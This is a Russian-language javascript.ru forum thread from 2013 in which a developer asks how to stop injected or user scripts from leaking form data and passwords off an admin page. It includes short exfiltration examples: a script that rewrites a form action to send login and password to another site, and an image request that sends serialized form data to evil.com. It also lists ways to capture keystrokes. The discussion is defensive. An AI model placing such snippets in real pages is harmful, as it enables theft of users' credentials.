Javascript-форум (https://javascript.ru/forum/)
-   jQuery (https://javascript.ru/forum/jquery/)
-   -   поиск элементов (https://javascript.ru/forum/jquery/36267-poisk-ehlementov.html)

BorisBritva 09.03.2013 19:08

поиск элементов
 
Как можно найти все элементы на странице, включая те, которые добавлены посредством js после ее загрузки, по их атрибутам.

href
action
src

Какие еще атрибуты есть, которые передают данные или подгружают, что либо на страницу?

Короче говоря, петруха такова.

Нужно запретить утечку данных со страницы.

Страница должна обмениваться данными только со своим сервером.


Спасибо.

danik.js 09.03.2013 20:17

Цитата:

Сообщение от BorisBritva
Нужно запретить утечку данных со страницы.

Вы не контроллируете подключаемые к странице ресурсы? Но при этом боитесь за "утечку"? Странно это... проясните?

BorisBritva 09.03.2013 20:28

Поясняю!

function work(){
document.getElementById('MyForm').setAttribute('action', 'http://site.ru/?pass=yryryyryr&login=lol');
document.getElementById('MyForm').submit();
}

window.onload = function(){work();}


Это js скрипт подгружается допустим в опере в разделе Инструменты/быстрые настройки/настройки для сайта/скрипты/папка пользовательских файлов JavaScript.

$(document).ready(function(){
$('form').submit(function(){
alert($(this).attr('action'));
return false;
});
});


А вот этот скрипт, который расположен непосредственно на странице не срабатывает когда форма отправляется тем криптом.


Плюс всегда есть вероятность внедрения кода также непосредственно в страницу.

header("X-Content-Security-Policy: 'none'");
непомогает!

danik.js 09.03.2013 21:17

Цитата:

Сообщение от BorisBritva
Поясняю!

И что это значит? Ну изменил пользователь страницу. И что? Вы ему страницу отдали, он что хочет, то и делает. Вы хотите запретить ему это делать? Повешайте тогда на сайте объявление:
Цитата:

На нашем сайте консолью браузера пользоваться ЗАПРЕЩЕНО!

BorisBritva 09.03.2013 21:23

Ну задачи есть разные.

Юзер может и не знать что у него осторонний скрипт работает. Нужно хотя бы лог вести об отправлении данных, и в случе чего предупредить его!

Если есть вероятность утечки данных, то она должна быть прекрыта!

Меня больше интересует, как отследить работу сторонних скриптов а не критика!

danik.js 09.03.2013 21:37

А как ты отследишь это:
<script>
    var image = new Image();
    image.src = 'http//evil.com/?' + $('form').serialize();
</script>

BorisBritva 09.03.2013 21:47

$('form').submit(function(){
alert($(this).serialize());
return false;
});


Вообще ничего не показывает :)
атрибут name не установлен. Однако это легко исправимо на стороннем скрипте.

Надо думать ;)

alert($('script').length);


Показывает количество скриптов, которые на странице по умолчанию. Тоже не катит.

Как можно узнать, что сторонний скрипт подключен?

danik.js 10.03.2013 05:36

Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице?

BorisBritva 10.03.2013 12:49

Цитата:

Сообщение от danik.js (Сообщение 239746)
Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?

Пример можешь показать?

Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM.

На счет того что, скрипт будет впрыснут вперед твоих скриптов, то на сколько я понимаю, когда через оперу подключается сторонний скрипт, так и происходит.

Но изменения DOM все равно происходят. Допустим при добавлении к форме атрибута action. По умолчанию таких атрибутов нет на странице.

danik.js 10.03.2013 13:01

Цитата:

Сообщение от BorisBritva
Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM.

Цитата:

Сообщение от danik.js
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице?

А если скрипт будет впрыснут вперед твоего, выполнен и тег script будет удален еще до выполнения твоего скрипта? Затем "злой" скрипт, находящийся в памяти, будет "сливать" инфу без палева. Как ты это отследить собираешься?

А если у юзера стоит злой юзерскрипт, который хоть и работает с отдельном контексте, но все же имеет доступ к DOM-у, в том числе полям формы?

Объясни что и от чего ты хочешь защитить.

BorisBritva 10.03.2013 13:08

Есть два пароля:

На первый пароль сервер отдает юзеру ответ. Если ответ верный юзер вводит второй пароль. Если ответа нет либо он не верный, юзер закрывает страницу.

Нужно чтобы ответ сервера не украли. Скрипт у юзера только для его пользования. Левые люди им не пользуются. Что то типо админки.

Если украдут ответ, то потом посредствам подмены страницы, у юзера могут украсть и второй пароль, когда юзер его введет на верный ответ с левой страницы.

BorisBritva 10.03.2013 13:10

Ну и потом, при работе с админкой, тоже не особо охото, чтобы у кого-то была возможность прочитать данные юзера.

BorisBritva 10.03.2013 13:12

Впринципе, ответ от сервера можно писать в img, но все равно хочется посолить крекерам. Хотя если украсть первый пароль и обратится с ним к php обрабатываюшему пароли, ответ всеравно выдачться злоумышленнику.

danik.js 10.03.2013 13:16

Все это по HTTPS конечно? А че за крекеры? И причем тут юзер? Если крекеры получат доступ к компу юзера, то получить доступ в админку - расплюнуть. И ты юзера от этого не защитишь. А что, правда такой сильный интерес к этой админке?

BorisBritva 10.03.2013 13:23

Интерес к админке сильный!

Юзер сам будет выбирать http или https. В зависимости от того как url набран. С http или https.

Крекеры, это злые хаккеры :)

Админка не работает на куках. Сессия идет только когда загружена страница. Если страница перезагрузилась, то придется заново вводить пароли.

BorisBritva 10.03.2013 15:23

Короче говоря. Если сторонний скрипт подключен посредствам функционало оперы, то для слива инфы, ему предется ждать, пока юзер заполнит поле формы, а для этого требуется, чтобы документ был загружен.

Исходя из того, что js который стоит по умолчанию встроен в страницу, то и он будет загружен. Значит работу левого скрипта можно засечь, если только левый не удалит из DOM встроенный :)

Короче говоря шляпа :)

Пофиг, нафиг. Как запретить браузеру обрабатывать отдельные стараницы javascript`om?

BorisBritva 10.03.2013 18:04

Решено обезопасить передачу данных другим способом. Спасибо за ответы!

BorisBritva 10.03.2013 23:12

Всетаки есть некоторые вопросы.

Короче говоря. Подключил в опере для сайта левый js скрипт!

Попробывал левым скриптом удалить со страницы встроенные скипты. Ничего не получается.

Подключил в левый скрипт jquery и попробывал удалить так:
$('script').remove();


Тоже не получается.

Блин. Вконце концов в сам скрипт который встроен в страницу вставил
$('script').remove();
и все равно не удаляет.

Что это. У меня где-то ошибка, или он реально не удаляет.

Или он удаляет, но скрипты в памяти остаюся? Поскольку все что надо на странице выполняется!

BorisBritva 10.03.2013 23:28

после:
$('script').remove();

вставил:
alert($('html').html());

В алерте теги script отсутствуют!

потом в левом скрипте добавил строку:
$('script').prepend('/*');

перед этим удалив строку
$('script').remove();


все равно все работает.

Значит такими методами нельзя нарушить работу js?

danik.js 11.03.2013 05:25

Удаление тега скрипта ничего не дает. Тут я лажанул - видимо нельзя предотвратить выполнение скрипта. Разве что если это - внешний скрипт, то до его загрузки еще можно удалить.
Но ведь и твои скрипты не смогут ничего поделать с "инородным"

BorisBritva 11.03.2013 11:41

Ну тут уже можно хотябы отследить изменение в атрибутах посредством setInterval(myattr, 0);

Левый скрипт подгруженный через оперу выполняется первее встроенного в страницу.

Делаю в левом:
alert($('html').html());

А в том который на странице
$('script').remove();
alert($('html').html());


Получается что сначала алерт выдается левым скриптом с тегами script, а потом встроенным без тегов script.

BorisBritva 11.03.2013 11:45

Цитата:

Сообщение от danik.js (Сообщение 239937)
Разве что если это - внешний скрипт, то до его загрузки еще можно удалить.

Так чтобы левый запустить надо дождаться загрузки документа. Так ведь?

Или ты имеешь ввиду вообще инородную программу какую-то?

danik.js 11.03.2013 12:04

Цитата:

Сообщение от BorisBritva
Так чтобы левый запустить надо дождаться загрузки документа. Так ведь?

Я не уверен, но возможно через setTimeout можно попасть в момент когда очередной тег script уже подключен, но сам файл еще не загружен.

Цитата:

Сообщение от BorisBritva
Ну тут уже можно хотябы отследить изменение в атрибутах посредством setInterval(myattr, 0);

Да кому здался этот атрибут, а? Навешиваем обработчик onsubmit, вытягиваем все введенные данные.

BorisBritva 11.03.2013 12:13

Цитата:

Сообщение от danik.js (Сообщение 239976)
Да кому здался этот атрибут, а? Навешиваем обработчик onsubmit, вытягиваем все введенные данные.

Ну с этим тоже можно бороться. Например при вводе парля, вообще не использовать формы и поля ввода input.

danik.js 11.03.2013 12:21

Цитата:

Сообщение от BorisBritva
Ну с этим тоже можно бороться. Например при вводе парля, вообще не использовать формы и поля ввода input.

Да какая разница input это или div. Можно отслеживать keydown, можно подключить MutationObserver и слушать изменения characterData, можно проверять innerHTML по таймеру наконец.

BorisBritva 11.03.2013 12:35

Цитата:

Сообщение от danik.js (Сообщение 239979)
Да какая разница input это или div. Можно отслеживать keydown, можно подключить MutationObserver и слушать изменения characterData, можно проверять innerHTML по таймеру наконец.

Да блин. Ввод можно сделать без клавишь и без изменения DOM

characterData - можешь сказать с чем это едят?

BorisBritva 11.03.2013 12:45

через
setInterval(del, 0);
удалить теги script до загрузки документа неполучается.

BorisBritva 11.03.2013 13:18

Есть еще вопросик.

Дпустим на странице до авторизации юзера есть клавиатура:
<div id="keyboard">
<img src="" longdesc=""/>
<img src="" longdesc=""/>
<img src="" longdesc=""/>
</div>


До того как юзер авторизовался, могут быть видимыми только эти элементы?

Как по Вашему будет грамотно сделать проверку, чтобы поверх было не наложить слой с другой клавой?


Часовой пояс GMT +3, время: 08:44.